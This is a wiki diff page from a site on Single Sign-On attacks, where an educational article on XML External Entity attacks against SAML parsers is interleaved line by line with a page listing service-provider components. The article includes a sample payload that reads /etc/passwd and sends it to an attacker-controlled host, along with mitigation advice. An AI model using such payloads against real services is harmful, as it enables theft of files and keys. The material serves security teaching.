XML External Entity Attack and Category:Attack Categorisation By Attacked Single Sign-On Component: Difference between pages

From Single Sign-On Attacks
(Difference between pages)
Jump to navigation Jump to search
 
No edit summary
 
Line 1: Line 1:
=Introduction=
Using authentication via ''Single Sign-On (SSO)'' has many advantages over simple Username/Password mechanisms. Whereas for the former, the user has to remember multiple different Username/Password combinations, this overhead can be significantly reduced with ''SSO''. Also, the security of Username/Password relies solely on the strength of the password provided by the user, but ''SSO'' allows for the adoption of several technical measures to further enhance the security of the login procedure. <br>
XML offers the possibility to describe the document’s structure by using a [https://en.wikipedia.org/wiki/Document_type_definition ''Document Type Definition (DTD)'']. Unfortunately, the usage of these features can lead to security vulnerabilities enabling very efficient [https://en.wikipedia.org/wiki/Denial-of-service_attack ''Denial-of-Service attacks (DoS)''] or allowing unauthorized access to files stored on the target ''Software-as-a-Service Cloud Provider (SaaS-CP)'', for example, ''/etc/passwd'' or key files.
In general, authentication using ''SSO'' is done utilizing a trusted third party called '''Identity Provider (IdP)'''. When a user uses his user agent (UA), e.g., a web browser, to request a login to the '''Service Provider (SP)''', instead of asking for Username/Password, the service issues a Token Request and redirects the client to the '''IdP'''. After proper authentication, the '''IdP''' issues a signed authentication '''token (Token)''' and redirects the client back to the '''SP''', where the token will be validated and the user logged in. <br>
The attacker sends an XML document containing an Entity, which points to a file stored on the local filesystem. The vulnerable application parses
As can be seen in ''Figure 1'', the '''SP''' contains the different security-related components:
the XML document and processes the defined DTD. The DTD contains an External Entity reading a resource from the filesystem, in this case the ''/etc/passwd'' file, and sends the content to the attacker.
*''Client'' is a user communicating with an '''SP''' via his UA, for example, a web browser. The communication takes place via the HTTP Protocol.)
As a result the attacker breaks out of the usual processing schema and bypasses the security verification provided by the SSO-Verificator plus ''Authorization & Access Managment (AAM)'' and reads locally stored files.
*''Web Frontend''(for example, a web server listening on a specific port and forwarding the traffic to the according handlers)
 
*''Username/Password'' module manages the corresponding authentication and the password-recovery mechanism
=Attack subtypes=
*''Session Management (SM)'' module resolves the received Session Cookies by the ''Web Frontend'' to a user identity and forwards this information to ''Authorization & Access Management (AAM)''
There are no attack subtypes for this attack.
*''SSO module'' carries out the verification of the received authentication
 
tokens and contains three internal modules:
=Prerequisites=
    '''The Parser''' (converts an input string into data objects, which can then be further processed by following components)
In order to start ''XML External Entity attack (XXEA)'', the attacker only has to create a valid XML message containing a DTD. Note that the message does not have to be a [http://www.sso-attacks.org/SAML SAML] token.
    '''Verificator''' (validation of all security-relevant parameters within the authentication token)
 
    '''Processor''' (after the verification, the information regarding the authenticated user will be extracted from the token and forwarded to the business logic)
=Target=
'''These internal modules are considered as potentially violated targets'''.
[[File:Target_XML_Parser.jpg|centre|600px]]
*''Authorization & Access Management (AAM)'' controls the access to the restricted resources
<br> The attacked Single Sign-On component is marked in red colour.
*''User Database'' stores information about users and their credentials
 
*''Resources'' include the entirety of data accessible to registered users
=Description=
[[File:Authentication_Process_Saas-SP.jpg|centre]]
[[File:XEEA.jpg|centre|600px]]
 
An example exploit is shown in Listing 1. The XML message contains two External Entities. The first Entity ('''file''') will read the content of the protected resource. The second Entity ('''send''') is used to send this content to a web server controlled by the attacker via a ''GET'' parameter. If the ''SaaS-CP'' reflects the content of the file Entity in the HTML response, which will be automatically displayed in the attacker’s browser, the send Entity is unnecessary. However, this is rarely the case for ''SAML'' token verification.
 
''XXEA'' allows an attacker to read arbitrary files within the context of the used web server. Particularly, it is possible to read configuration and SSL keystore files.
 
<source lang=xml>
 
<?xml version="1.0" encoding="utf-􀀀8"?>
<!DOCTYPE Response [
<!ENTITY file SYSTEM "/etc/passwd">
<!ENTITY send SYSTEM "http://attacker.com/?read=&file;">
]>
<samlp:Response>
  <attack>&send;</attack>
</samlp:Response>
 
</source>
Listing 1: XML message containing the XXE attack vector.
 
The listing only sketches the concept of the attack. The code as shown will not work on most XML parsers, because the usage of the External Entity file within the External Entity send is not allowed.
 
=Mitigation / Countermeasures=
To prohibit ''XXEA'', the processing of ''DTD''s should be disabled. XML Schema can be used to verify the structure of XML messages.
 
=Practical Examples=
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out that several frameworks were vulnerable to this attack, as shown in the picture bellow.
[[File:Study table.png|centre|200px]]
 
 
[[Category:Attack_Categorisation_By_Attacker_Model:_Message_generation_attacks]]
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Confidentiality]]
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP_and_IdP]]
[[Category:Attack_Categorisation_By_Attack_Spreading:Application_Specific_Flaws]]
[[Category:Attack_Categorisation_By_Attacked_Web_Service_Component:_XML_Parser]]
 
=References=
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).<br>
Andreas Falkenberg, Christian Mainka, Juraj Somorovsky, and Jorg Schwenk. A New Approach towards DoS Penetration Testing on Web Services. 2013 IEEE 20th International Conference on Web Services, 0:491–498, 2013.
<br> [http://web-in-security.blogspot.de/2014/11/detecting-and-exploiting-xxe-in-saml.html Christian Mainka. Detecting and exploiting XXE in SAML Interfaces, 2014.]
<br>
[http://ws-attacks.org/index.php/XML_External_Entity_DOS XML External Entity DOS]
<br>
[http://http://ws-attacks.org/index.php/XML_Entity_Expansion XML Entity Expansion]
<br>
[http://web-in-security.blogspot.de/2014/11/detecting-and-exploiting-xxe-in-saml.html Detecting and exploting XXE in Saml]

Latest revision as of 16:46, 2 February 2016

Using authentication via Single Sign-On (SSO) has many advantages over simple Username/Password mechanisms. Whereas for the former, the user has to remember multiple different Username/Password combinations, this overhead can be significantly reduced with SSO. Also, the security of Username/Password relies solely on the strength of the password provided by the user, but SSO allows for the adoption of several technical measures to further enhance the security of the login procedure.
In general, authentication using SSO is done utilizing a trusted third party called Identity Provider (IdP). When a user uses his user agent (UA), e.g., a web browser, to request a login to the Service Provider (SP), instead of asking for Username/Password, the service issues a Token Request and redirects the client to the IdP. After proper authentication, the IdP issues a signed authentication token (Token) and redirects the client back to the SP, where the token will be validated and the user logged in.
As can be seen in Figure 1, the SP contains the different security-related components:

  • Client is a user communicating with an SP via his UA, for example, a web browser. The communication takes place via the HTTP Protocol.)
  • Web Frontend(for example, a web server listening on a specific port and forwarding the traffic to the according handlers)
  • Username/Password module manages the corresponding authentication and the password-recovery mechanism
  • Session Management (SM) module resolves the received Session Cookies by the Web Frontend to a user identity and forwards this information to Authorization & Access Management (AAM)
  • SSO module carries out the verification of the received authentication

tokens and contains three internal modules: 

   The Parser (converts an input string into data objects, which can then be further processed by following components)
   Verificator (validation of all security-relevant parameters within the authentication token)
   Processor (after the verification, the information regarding the authenticated user will be extracted from the token and forwarded to the business logic)

These internal modules are considered as potentially violated targets.

  • Authorization & Access Management (AAM) controls the access to the restricted resources
  • User Database stores information about users and their credentials
  • Resources include the entirety of data accessible to registered users
Retrieved from "http://www.ws-attacker.de/index.php?title=XML_External_Entity_Attack&oldid=334"